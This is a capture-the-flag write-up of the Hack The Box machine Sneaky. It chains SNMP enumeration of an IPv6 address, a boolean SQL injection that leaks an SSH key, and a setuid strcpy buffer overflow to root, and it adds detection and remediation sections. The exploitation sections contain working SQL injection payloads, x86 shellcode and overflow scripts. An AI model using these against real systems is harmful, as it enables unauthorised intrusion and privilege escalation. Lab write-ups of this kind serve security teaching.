Skip to content
All writeups

HTB: Sneaky

A boolean SQL injection in a development login page hands over an SSH private key, SNMP with the public community leaks the IPv6 address where SSH actually listens, and a setuid binary with an unbounded strcpy on a host without ASLR gives root.

Published
Reading time
23 min
Difficulty
medium
Target
Linux (Sneaky)

htblinuxsql-injectionsnmpipv6buffer-overflow

Overview

Sneaky is a medium-rated Linux machine running Ubuntu 14.04 on 32-bit x86. On IPv4 it shows one TCP port, an Apache server with a placeholder page, and one UDP port, SNMP. There is no remote shell service on IPv4.

The chain has three links. A login form under /dev builds its SQL query by string interpolation, and a one-line boolean injection returns the user list and a link to an SSH private key. The key has nowhere to go on IPv4, because SSH only listens on IPv6. SNMP answers the public community and its address table gives up the global IPv6 address. From the resulting shell, a setuid root binary copies its first argument onto the stack with strcpy, on a host with ASLR disabled and an executable stack.

This was a re-run of a machine already owned on the account. It was worked from enumeration with one exception, declared in Phase 2: the user name the key was tried with. User took 19 minutes from spawn, root 24. One exploit attempt failed, and the reason is in Phase 3.

Reconnaissance

I start with a service scan of the top 1,000 TCP ports, a full TCP sweep, and the top 20 UDP ports:

nmap -sC -sV -oN /work/scans/top1000.nmap 10.129.228.93
nmap -p- --min-rate 2000 -oN /work/scans/all.nmap 10.129.228.93
nmap -sU --top-ports 20 -oN /work/scans/udp20.nmap 10.129.228.93
PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.7 ((Ubuntu))
|_http-server-header: Apache/2.4.7 (Ubuntu)
|_http-title: Under Development!
[...]
Not shown: 65534 closed tcp ports (reset)
PORT   STATE SERVICE
80/tcp open  http
[...]
68/udp    open|filtered dhcpc
69/udp    open|filtered tftp
161/udp   open          snmp
1434/udp  open|filtered ms-sql-m

The block above is a merged view of the three scan files, trimmed to the open ports. One web server and SNMP. A Linux host with no SSH at all is unusual enough to note: either it is administered some other way, or SSH is somewhere the scan did not look.

Web enumeration

The index page is an “Under Development!” placeholder. A directory fuzz of the web root with ffuf and the common.txt wordlist finds two entries: index.html and /dev, which redirects to /dev/. The reconnaissance commands were not kept verbatim: the nmap lines are the scan file headers, the snmpwalk line is the log’s, and the ffuf line is not shown.

curl -s -i http://10.129.228.93/dev/
[...]
                <h1>Member's Area Only - Login Now!</h1>
                <form method="post" action="./login.php">
                        <input type="text" name="name">
                        <input type="password" name="pass">
                        <input type="submit" value="login">
                </form>
[...]

A login form posting name and pass to login.php.

SNMP

SNMP is the other service, and the first thing to try is the default read-only community:

snmpwalk -v2c -c public 10.129.228.93

The saved walk is 1,777 lines. Line 1,759 ends in the client’s Timeout: No Response, inside the installed-software table, so the walk is incomplete there and the line count is a floor on the requests sent. The system group confirms the platform:

iso.3.6.1.2.1.1.1.0 = STRING: "Linux sneaky 4.4.0-75-generic #96~14.04.1-Ubuntu SMP Thu Apr 20 11:06:56 UTC 2017 i686"
[...]
iso.3.6.1.2.1.1.5.0 = STRING: "sneaky"

The useful part is the IP address table (1.3.6.1.2.1.4.34), which lists every address configured on the host, both families:

iso.3.6.1.2.1.4.34.1.3.1.4.10.129.228.93 = INTEGER: 2
iso.3.6.1.2.1.4.34.1.3.1.4.10.129.255.255 = INTEGER: 2
iso.3.6.1.2.1.4.34.1.3.1.4.127.0.0.1 = INTEGER: 1
iso.3.6.1.2.1.4.34.1.3.2.16.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.1 = INTEGER: 1
iso.3.6.1.2.1.4.34.1.3.2.16.222.173.190.239.0.0.0.0.160.222.173.255.254.59.242.113 = INTEGER: 2
iso.3.6.1.2.1.4.34.1.3.2.16.254.128.0.0.0.0.0.0.160.222.173.255.254.59.242.113 = INTEGER: 2

The OID index encodes the address. 1.4 means IPv4, four bytes. 2.16 means IPv6, sixteen bytes, each written in decimal. Converting 222.173.190.239.0.0.0.0.160.222.173.255.254.59.242.113 to hex gives dead:beef::a0de:adff:fe3b:f271. The second IPv6 row starts 254.128, which is fe80, the link-local address and no use across a routed tunnel.

A full TCP sweep of the global address finds what IPv4 was hiding:

nmap -6 -p- --min-rate 2000 -oN /work/scans/all6.nmap dead:beef::a0de:adff:fe3b:f271
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

SSH exists, on IPv6 only.

Attack Surface Analysis

Surface Weakness CWE
SNMP, 161/udp Default public community, full MIB readable CWE-1392 (default credentials)
/dev/login.php Query built by string interpolation CWE-89 (SQL injection)
/dev/sshkeyforadministratordifficulttimes Private key in the web root, no access control CWE-552 (files accessible to external parties)
SSH on IPv6 only Access control by address obscurity CWE-656 (reliance on security through obscurity)
/usr/local/bin/chal Setuid root, unbounded strcpy to the stack CWE-121 (stack-based buffer overflow)

The injection and the setuid overflow are severe alone. The other three are not: SNMP read access is an information leak, the key file is unreachable in practice without knowing its 36-character name, and SSH on IPv6 only keeps out a scanner that stops at IPv4. Each one supplies what the next is missing: the injection names the key file, SNMP names the address the key works against, and the shell reaches the binary.

Vulnerability Analysis

The three source files below were read as root at the end of the session. They are quoted here because they show why each observation from outside looked the way it did; nothing in the exploitation depended on them.

/var/www/html/dev/login.php, with the database password masked:

$link = new PDO('mysql:dbname=dev;host=localhost', 'root', '<masked>');

$sql = "SELECT * FROM users WHERE
	name = '{$name}'
	AND pass = '{$pass}' ";
/*
$sql = 'SELECT * FROM users WHERE ' .
	"name = '" . mysqli_real_escape_string($name, $link) . "' " .
	"AND pass = '" . mysqli_real_escape_string($pass, $link) . "'";
*/

$result = $link->query($sql);

if (!$result) {
    header('HTTP/1.0 500 Internal Serever Error');
    echo 'Internal Serever Error: ';
    exit;
}

while ($row = $result->fetch(PDO::FETCH_ASSOC)) {
	$rows[] = $row;
}
if (empty($rows)) {
    header('HTTP/1.0 404 Not Found');
    echo 'Not Found: ';
    exit;
} else {
[...]

Both POST fields go into the statement between single quotes with no escaping and no bound parameters. The three outcomes map onto three status codes: a failed query is 500, an empty result is 404, and any row at all is 200 with every user name and the key link. The page does not check that the row matches the name submitted, so a condition that is true for any row is a login. The application also connects as the MySQL root account, which widens what the injection could reach; I did not go further than the boolean test.

sshd_config and snmpd.conf:

## sshd_config
5:Port 22
9:ListenAddress ::
30:PermitRootLogin without-password
54:PasswordAuthentication no
## snmpd.conf
rocommunity public

ListenAddress :: binds the IPv6 wildcard only. The listener table from the same root session shows :::80 for Apache as well, yet Apache answered on IPv4 and SSH did not. The two sockets print alike and differ in one option: sshd sets IPV6_V6ONLY on its IPv6 listeners, so :: means IPv6 and nothing else, while a plain IPv6 socket bound to :: also takes IPv4 clients as mapped addresses. I checked that after the session in a local container, not on the target, and with OpenSSH 10.6 where the target ran the 14.04 package:

### ss -ltne (2201 sshd ListenAddress ::, 2202 sshd no ListenAddress, 2203 plain AF_INET6 socket bound to ::)
*:2203 <-> v6only:0-or-ipv4
0.0.0.0:2202 <-> v6only:0-or-ipv4
[::]:2201 <-> v6only:1
[::]:2202 <-> v6only:1
### connect over IPv4 loopback
2201 127.0.0.1 refused
2202 127.0.0.1 open
2203 127.0.0.1 open
[...]

The third column is my script’s reading of the v6only flag in ss output. With no ListenAddress at all sshd opens two sockets, one per family; the single :: line is what removed IPv4. rocommunity public with no source restriction and no view is the whole SNMP configuration, so the entire MIB is readable by anyone who can send a UDP packet.

/usr/local/bin/chal is mode 6775, owned by root. Its main, from objdump -d -M intel on a copy (the command is in Phase 3):

0804841d <main>:
 804841d:	55                   	push   ebp
 804841e:	89 e5                	mov    ebp,esp
 8048420:	83 e4 f0             	and    esp,0xfffffff0
 8048423:	81 ec 70 01 00 00    	sub    esp,0x170
 8048429:	8b 45 0c             	mov    eax,DWORD PTR [ebp+0xc]
 804842c:	83 c0 04             	add    eax,0x4
 804842f:	8b 00                	mov    eax,DWORD PTR [eax]
 8048431:	89 44 24 04          	mov    DWORD PTR [esp+0x4],eax
 8048435:	8d 44 24 12          	lea    eax,[esp+0x12]
 8048439:	89 04 24             	mov    DWORD PTR [esp],eax
 804843c:	e8 af fe ff ff       	call   80482f0 <strcpy@plt>
 8048441:	b8 00 00 00 00       	mov    eax,0x0
 8048446:	c9                   	leave
 8048447:	c3                   	ret

That is the whole program: reserve 0x170 bytes, strcpy(esp+0x12, argv[1]), return. The destination has 0x170 - 0x12 = 350 bytes before the end of the frame, and nothing limits the source. There is no stack canary, the binary is not position independent, the stack is executable, and the host has randomize_va_space set to 0.

Exploitation

Phase 1: SQL injection to a private key

Four requests in one call: a wrong password as the baseline, a single quote to see whether syntax reaches the database, then a false and a true condition in pass.

M=machines/sneaky; U=http://10.129.228.93/dev/login.php
{
echo "### control: name=admin pass=wrong"; curl -s -i --data-urlencode "name=admin" --data-urlencode "pass=wrong" $U
echo; echo "### single quote: name=admin' pass=x"; curl -s -i --data-urlencode "name=admin'" --data-urlencode "pass=x" $U
echo; echo "### false: name=x pass=' or '1'='2"; curl -s -i --data-urlencode "name=x" --data-urlencode "pass=' or '1'='2" $U
echo; echo "### true: name=x pass=' or '1'='1"; curl -s -i --data-urlencode "name=x" --data-urlencode "pass=' or '1'='1" $U
} | tee $M/artifacts/04-login-sqli.out
### control: name=admin pass=wrong
HTTP/1.0 404 Not Found
[...]
<?xml version="1.0" encoding="UTF-8"?>Not Found: 
### single quote: name=admin' pass=x
HTTP/1.0 500 Internal Serever Error
[...]
<?xml version="1.0" encoding="UTF-8"?>Internal Serever Error: 
### false: name=x pass=' or '1'='2
HTTP/1.0 404 Not Found
[...]
<?xml version="1.0" encoding="UTF-8"?>Not Found: 
### true: name=x pass=' or '1'='1
HTTP/1.1 200 OK
[...]
<h1>DevWebsite Login</h1>
<dt>
<dl>name: admin</dl>
</dt>
<dt>
<dl>name: thrasivoulos</dl>
</dt>
<p>
<p>
<p>
<p><center><a href="sshkeyforadministratordifficulttimes">My Key</a></center>
<p><center>Noone is ever gonna find this key :P</center>
[...]

The false condition is what makes this a finding and not a guess: same request shape, opposite truth value, opposite result. Two user names and a link come back. The link needs no session:

curl -s -o $M/artifacts/05-sshkey -w '%{http_code} %{size_download}\n' http://10.129.228.93/dev/sshkeyforadministratordifficulttimes; chmod 600 $M/artifacts/05-sshkey; [...]

1,675 bytes. The part cut from the command is a grep -c for the PEM header line of an RSA private key, which counted one.

Phase 2: SSH over IPv6 as thrasivoulos

The key is useless against the IPv4 address, where port 22 is closed. The IPv6 address from the SNMP table is where it goes. My first attempt added both ssh-rsa and ssh-dss to the accepted host key algorithms and the current OpenSSH client refused the option outright, since it no longer knows ssh-dss. The retry used ssh-rsa alone.

The user name is the one step here that did not come from enumeration. The page calls the file the administrator’s key and lists admin first, so the evidence pointed at admin or root. I tried thrasivoulos first and only, and the log gives no reason; I take that as memory of the earlier solve.

V6=dead:beef::a0de:adff:fe3b:f271
S="ssh -i /work/artifacts/05-sshkey -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o PubkeyAcceptedAlgorithms=+ssh-rsa -o HostKeyAlgorithms=+ssh-rsa -o LogLevel=ERROR thrasivoulos@$V6"
bin/kali sneaky "$S 'id; hostname; uname -a; cat /etc/lsb-release; ls -la ~; wc -c ~/user.txt; sudo -n -l 2>&1 | head -5; find / -perm -4000 -type f -exec ls -la {} \; 2>/dev/null' 2>&1 | tee /work/artifacts/06-ssh-enum.out; $S 'cat ~/user.txt' > /work/artifacts/user.txt; wc -c /work/artifacts/user.txt"
uid=1000(thrasivoulos) gid=1000(thrasivoulos) groups=1000(thrasivoulos),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lpadmin),111(sambashare)
sneaky
Linux sneaky 4.4.0-75-generic #96~14.04.1-Ubuntu SMP Thu Apr 20 11:06:56 UTC 2017 i686 athlon i686 GNU/Linux
[...]
sudo: a password is required
-rwsr-xr-x 1 root root 67704 Nov 24  2016 /bin/umount
[...]
-rwsrwsr-x 1 root root 7301 May  4  2017 /usr/local/bin/chal
-rwsr-sr-x 1 libuuid libuuid 17996 Nov 24  2016 /usr/sbin/uuidd
[...]

I did not try the key as admin or root, so I cannot say whether it opens more than one account. The user is in the sudo group but there is no password to give it. In the setuid list one entry is not from a package: a 7 KB binary in /usr/local/bin, setuid and setgid root, group-writable.

Phase 3: thrasivoulos to root through chal

I copy the binary off, check the copy against the original, and ask the host for the three facts that decide the method. bin/kali runs its argument in the tools container, where the machine directory is /work:

SO="-i /work/artifacts/05-sshkey -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o PubkeyAcceptedAlgorithms=+ssh-rsa -o HostKeyAlgorithms=+ssh-rsa -o LogLevel=ERROR"
bin/kali sneaky "scp -O $SO 'thrasivoulos@[$V6]:/usr/local/bin/chal' /work/artifacts/07-chal.bin; { ssh $SO thrasivoulos@$V6 'md5sum /usr/local/bin/chal; cat /proc/sys/kernel/randomize_va_space; which gdb python python3 gcc; ldd /usr/local/bin/chal'; md5sum artifacts/07-chal.bin; file artifacts/07-chal.bin; checksec --file=artifacts/07-chal.bin 2>&1; objdump -d -M intel artifacts/07-chal.bin | sed -n '/<main>:/,/ret/p'; } 2>&1 | tee /work/artifacts/08-chal-analysis.out"
829873da7efc928ad1fc9cc3b793a639  /usr/local/bin/chal   (md5 hash, target)
0
/usr/bin/gdb
/usr/bin/python
/usr/bin/python3
[...]
829873da7efc928ad1fc9cc3b793a639  artifacts/07-chal.bin   (md5 hash, copy)
[...]
    Stack:      No canary found
    NX:         NX enabled on new kernels
    PIE:        No PIE (0x8048000)
    Stack:      Executable
    RWX:        Has RWX segments

The two annotations in brackets are mine, not md5sum’s: they say which side each line is from, and the blog’s pre-commit check refuses an unlabelled 32-character hex string. NX enabled on new kernels is checksec’s wording for a binary with no stack marking; the lines that matter are Executable and RWX. ASLR off, gdb and Python on the box, no compiler. For the offset to the saved return address I run a pwntools cyclic pattern under gdb on the target:

bin/kali sneaky "P=\$(python3 -c 'from pwn import *; import sys; sys.stdout.write(cyclic(400).decode())' 2>/dev/null); { echo \"pattern length \${#P}\"; ssh $SO thrasivoulos@$V6 \"gdb -q -batch -ex run -ex 'info registers eip esp ebp' -ex 'x/8wx \\\$esp-0x180' --args /usr/local/bin/chal \$P\" 2>&1; } | tee /work/artifacts/09-gdb-pattern.out; E=\$(grep -oP '^eip\s+0x\K[0-9a-f]+' /work/artifacts/09-gdb-pattern.out); python3 -c \"from pwn import *; print('offset to eip:', cyclic_find(0x\$E))\" 2>/dev/null | tee -a /work/artifacts/09-gdb-pattern.out"
pattern length 400

Program received signal SIGSEGV, Segmentation fault.
0x61716461 in ?? ()
eip            0x61716461	0x61716461
esp            0xbffffae0	0xbffffae0
ebp            0x61706461	0x61706461
0xbffff960:	0xbffff972	0xbffffc9c	0x0804821d	0xb7fffc24
0xbffff970:	0x616118fc	0x61626161	0x61636161	0x61646161
offset to eip: 362

362 bytes to the return address, which is the 350 of the frame plus alignment padding and the saved frame pointer. The first word of the dump is strcpy’s destination argument: under gdb the buffer starts at 0xbffff972.

The first exploit put everything in the argument: 331 NOPs, a 31-byte setuid(0) then execve("/bin//sh") shellcode ending exactly at byte 362, and a return address of 0xbffffa2a, the middle of the sled as gdb saw it. 10-exploit.sh feeds the command line and a file of commands for the hoped-for shell to bash -s over SSH:

#!/usr/bin/env bash
# usage: 10-exploit.sh <file of commands for the root shell>
set -euo pipefail
V6=dead:beef::a0de:adff:fe3b:f271
{
cat <<'EOF'
/usr/local/bin/chal "$(python -c 'import sys; sc="\x31\xdb\x8d\x43\x17\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"; sys.stdout.write("\x90"*(362-len(sc))+sc+"\x2a\xfa\xff\xbf")')" <<'CMDS'
EOF
cat "$1"
echo CMDS
} | ssh -i /work/artifacts/05-sshkey -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o PubkeyAcceptedAlgorithms=+ssh-rsa -o HostKeyAlgorithms=+ssh-rsa -o LogLevel=ERROR thrasivoulos@$V6 bash -s
bin/kali sneaky "bash /work/artifacts/10-exploit.sh /work/artifacts/10-root-cmds.txt 2>&1 | tee /work/artifacts/11-root-evidence.out; bash /work/artifacts/10-exploit.sh /work/artifacts/10-flag-cmd.txt > /work/artifacts/root.txt 2>/dev/null; wc -c /work/artifacts/root.txt"
bash: line 11:  1907 Segmentation fault      (core dumped) /usr/local/bin/chal "$(python -c [...]

A crash and no shell: the one dead end, about two minutes. One fault in that payload is certain from the layout and is enough to explain the crash. When ret runs, the stack pointer sits just above the return address, at buffer offset 366. The shellcode then pushes five words, 20 bytes, downward from there, across the return address and into its own last 16 bytes, before it has executed them. Shellcode placed flush against the return address destroys itself.

The address was a risk I removed, not a second cause I showed. 0xbffff972 was measured under gdb, which runs the program with a different environment and so a different stack offset. I asked the box for the faulting address and for the size of the environment outside gdb:

bin/kali sneaky "ssh $SO thrasivoulos@$V6 'dmesg | grep -i chal | tail -4; env | wc -c' 2>&1 | tee /work/artifacts/12-crash-dmesg.out"
423

No kernel line for the crash, and a 423-byte environment. I did not find out why dmesg had no segfault line.

The rework removes both problems at once. The shellcode goes into an environment variable behind 65,000 NOPs, and the argument is only padding and a return address. Environment strings live at the top of the stack, far above the frame, so the pushes land nowhere near the code, and a sled that size makes the exact address unimportant. 13-exploit-env.sh:

#!/usr/bin/env bash
# usage: 13-exploit-env.sh <file of commands for the root shell>
set -euo pipefail
V6=dead:beef::a0de:adff:fe3b:f271
{
cat <<'EOF'
export EGG="$(python -c 'import sys; sys.stdout.write("\x90"*65000+"\x31\xdb\x8d\x43\x17\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80")')"
/usr/local/bin/chal "$(python -c 'import sys; sys.stdout.write("A"*362+"\x80\x80\xff\xbf")')" <<'CMDS'
EOF
cat "$1"
echo CMDS
} | ssh -i /work/artifacts/05-sshkey -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o PubkeyAcceptedAlgorithms=+ssh-rsa -o HostKeyAlgorithms=+ssh-rsa -o LogLevel=ERROR thrasivoulos@$V6 bash -s

0xbfff8080 was chosen by arithmetic, not measured: with the stack ending near 0xc0000000 and 65,000 bytes of sled just below the top, an address about 32 KB down is in the middle of it, and it has no zero byte for strcpy to stop on. The commands for the shell, 10-root-cmds.txt, written before root, so its two paths under /var/www and /etc/snmp were the package defaults, guessed:

echo "## id"; id
echo "## ls -la /root"; ls -la /root; wc -c /root/root.txt
echo "## stat chal"; stat /usr/local/bin/chal; lsattr /usr/local/bin/chal
echo "## crontab"; crontab -l 2>&1; ls -la /etc/cron.d
echo "## sshd_config"; grep -n -E '^(ListenAddress|AddressFamily|Port|PermitRootLogin|PasswordAuthentication)' /etc/ssh/sshd_config
echo "## snmpd.conf"; grep -v -E '^\s*(#|$)' /etc/snmp/snmpd.conf
echo "## /var/www/html/dev"; ls -la /var/www/html/dev
echo "## login.php"; cat /var/www/html/dev/login.php
echo "## listeners"; netstat -tulnp 2>/dev/null
bin/kali sneaky "bash /work/artifacts/13-exploit-env.sh /work/artifacts/10-root-cmds.txt 2>&1 | tee /work/artifacts/14-root-evidence.out; bash /work/artifacts/13-exploit-env.sh /work/artifacts/10-flag-cmd.txt > /work/artifacts/root.txt 2>/dev/null; wc -c /work/artifacts/root.txt"
## id
uid=0(root) gid=1000(thrasivoulos) egid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lpadmin),111(sambashare),1000(thrasivoulos)
## ls -la /root
[...]
-r--------  1 root root   33 Nov 23 16:41 root.txt
33 /root/root.txt
## stat chal
[...]
Access: (6775/-rwsrwsr-x)  Uid: (    0/    root)   Gid: (    0/    root)
[...]

Real uid 0 from the setuid(0) call, effective gid 0 from the setgid bit. The second half of that command line runs the same script with a one-line command file, cat /root/root.txt, and saves the flag.

Post-Exploitation

Everything the post needed from root was in that one command file: the three configuration sources quoted in Vulnerability Analysis, and the listeners.

## listeners
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name
tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN      1071/mysqld     
tcp6       0      0 :::80                   :::*                    LISTEN      1190/apache2    
tcp6       0      0 :::22                   :::*                    LISTEN      1011/sshd       
udp        0      0 0.0.0.0:161             0.0.0.0:*                           1077/snmpd      
[...]

Root has no crontab and /etc/cron.d holds only the PHP session cleaner. The machine was already owned on the account, and both flag submissions came back HTTP 400 Incorrect Flag; I read that as the platform’s answer to a re-submission and did not verify it.

Defensive Analysis

None of these detections was tested on the box. Each names the record I would expect and where to look for it.

  • The SNMP walk: at least 1,776 GETNEXT requests from one source (the saved walk is dated about ten minutes after the scan that found the port; I did not time it). The walk itself shows the daemon’s options, -Lsd -Lf /dev/null [...], so it logs to syslog. I expect one Connection from UDP line per request in /var/log/syslog, since snmpd.conf does not set dontLogTCPWrappersConnects; I did not read that file as root, so that is the check. A flow record on 161/udp shows it regardless.
  • The web stage: first the fuzz, several thousand 404s from one address (the two hits sit at positions 1,456 and 2,209 of the wordlist). Then four POSTs to /dev/login.php returning 404, 500, 404, 200, and a GET for a 36-character file name that appears in no page a logged-out visitor can see. Apache’s access log has all five lines but not the POST bodies. The 500 is the cheapest signal: a login form should never produce one.
  • The login: auth.log records an accepted public key for thrasivoulos from an IPv6 source.
  • The overflow: auditd with an execve rule on /usr/local/bin/chal records the argument in both runs, 366 bytes, hex-encoded and ending in the return address. It does not record the environment, so the 65 KB variable that made the second run work leaves no trace there. The failed run printed (core dumped); on 14.04 that goes through apport, so /var/log/apport.log is a second place to look (not read). The kernel’s segfault line was absent from dmesg when I looked.

Remediation

Not applied on the box. Where an item names a check, the check was not run.

  1. login.php: prepared statements with bound parameters, $link->prepare('SELECT * FROM users WHERE name = ? AND pass = ?'), a dedicated MySQL account with SELECT on one table, and hashed passwords. Verify with the true-condition request returning 404.
  2. Remove the private key from the web root, and treat it as disclosed: delete its public half from every authorized_keys. A file name nobody can guess is not access control once any page links to it. Verify with a 404 for the key URL.
  3. SNMP: remove rocommunity public; use SNMPv3 with authentication, or a community restricted by source address and a view that allows the system group only. An allow-list matters: the global address here is derived from the interface’s MAC, which a view that merely hid the address tables would still serve. Verify with the walk timing out.
  4. SSH: decide the exposure on purpose. If it is meant to be reachable, delete ListenAddress :: from sshd_config (or add ListenAddress 0.0.0.0 beside it) and put a firewall rule in front. If not, firewall port 22 in ip6tables as well: IPv4 rules do not apply to it. Verify with nmap -6 -p22 from outside.
  5. chal: remove it, or at minimum chmod 0755. If it must exist, bound the copy and build with -fstack-protector-strong -fPIE -pie -z noexecstack. Verify with find / -perm -4000 no longer listing it.
  6. kernel.randomize_va_space = 2 in a file under /etc/sysctl.d/, so it survives a reboot. With it on, the fixed return address in this exploit would land somewhere different on every run. I did not test how much harder that makes it on a 32-bit stack, where the randomised range is small.

Key Takeaways

  • Scan both address families. The service that mattered was invisible on IPv4, and the host announced its IPv6 address to anyone who asked over SNMP.
  • Send the false condition with the true one. A 200 alone could be a page that accepts anything; a 404 beside it for the opposite condition cannot.
  • Shellcode that pushes needs room below the stack pointer. Flush against the return address it overwrites itself; an environment variable with a large sled avoids that.